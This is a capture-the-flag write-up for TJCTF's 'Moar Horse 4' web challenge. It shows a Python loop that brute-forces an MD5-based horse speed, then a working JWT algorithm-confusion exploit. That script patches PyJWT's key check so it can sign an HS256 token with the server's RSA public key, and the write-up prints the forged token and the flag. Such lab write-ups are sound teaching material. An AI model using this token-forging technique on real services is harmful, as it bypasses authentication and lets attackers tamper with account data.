Tags: jwt md5 

Rating:

Moar Horse 4

  1. Intro
  2. Our brand new racing horse
  3. Allow our horse to compete

Intro

In this challenge, the goal is to win a race against MechaOmkar-YG6BPRJM, the most powerful horse of the world.

For this, we have the python script of the server, we can see how the races are done, and how a horse can win.

We also can see that the system use JSON Web Token, signed with RSA and strong keys, so we need a way to bypass it.

in a first time, let's focus on the horse, and in a second time on the way to let him compete

Our brand new racing horse

In the code, we can find the way the speed and teh result of the race is calculated :

To calculate the speed of a horse, it take "Horse_" + the name of the horse and hash it using md5, and convert this hexadecimal number and convert it in an integer.

The md5 hash of Horse_MechaOmkar-YG6BPRJM is fffffe21758bb7cc0b59ffc49ebd5490

We need a horse which have a hash greater than fffffe21758bb7cc0b59ffc49ebd5490

Let's make a small python program which do it for us :

import hashlib


ttry = 0 #number of try
text = ""
hash = "0"

while int(hash, 16) < int("fffffe21758bb7cc0b59ffc49ebd5490", 16):
    ttry += 1
    text = "Horse_nhy_" + str(ttry)
    hash = hashlib.md5((text).encode()).hexdigest()

print(ttry)
print(text)
print(hash)

The result is

9700705
Horse_nhy_9700705
fffffff7510dfd376b3ea185b6a10959

Say hello to my 7f horse named "nhy_9700705" !

Allow our horse to compete

The most difficult part. How to add our horse in a race ?

First, let's buy a Horse, because we have money to, and try to do a race.

We can see the url for a race is https://moar_horse.tjctf.org/do_race?horse=horseName

Let's try https://moar_horse.tjctf.org/do_race?horse=nhy_9700705 :

Yes, of course, too easy.

let's have a look to the cookies :

We find something named token

Copy paste the content in cyberchef and use From base64

We can find some readable data.

"typ":"JWT"   => This token is a JWT (JSON Web Token)

"alg":"RS256" => This token is secured using RSA, and we only have the public key, in the challenge folder.

So we need to find a way to sign the token without the private key.

And at this moment i found this

To sum up, it says that there's two way to authentificate the tokens : RSA (with two keys, one private and one public) and HMAC (only one key, private)

The method used is in "alg":something

The library used in the server script just follow the method written in "alg", it doesn't check if it's RSA.

So we just have to create a token, using HMAC, and using the public key as the key, because the script will use it to verify the token.

The python script to generate the token :

import json
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key)



with open(r"F:\CTF\TJCTF\web\horse (jwt)\pubkey.pem", "rb") as file:
    PUBLIC_KEY = file.read()
#print(PUBLIC_KEY)

data = {
        "user": True,
        "is_omkar": False,
        "money": 100,
        "horses": ["nhy_9700705"]
    }

token = jwt.encode(data, PUBLIC_KEY, "HS256")
print("token : ")
print(token)

Output :

token : 
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjoxMDAsImhvcnNlcyI6WyJuaHlfOTcwMDcwNSJdfQ.FePBRUPwj4co2d8_7AAg_NYkkhBM7-hlsJTwUOQBepk'

Copy Paste the new token into the browser, reload, and you have a brand new horse !

Now Race!

Got it!

Flag : tjctf{w0www_y0ur_h0rs3_is_f444ST!}


If you have any question or feedback, feel free to send me a message on Discord, nhy47paulo#3590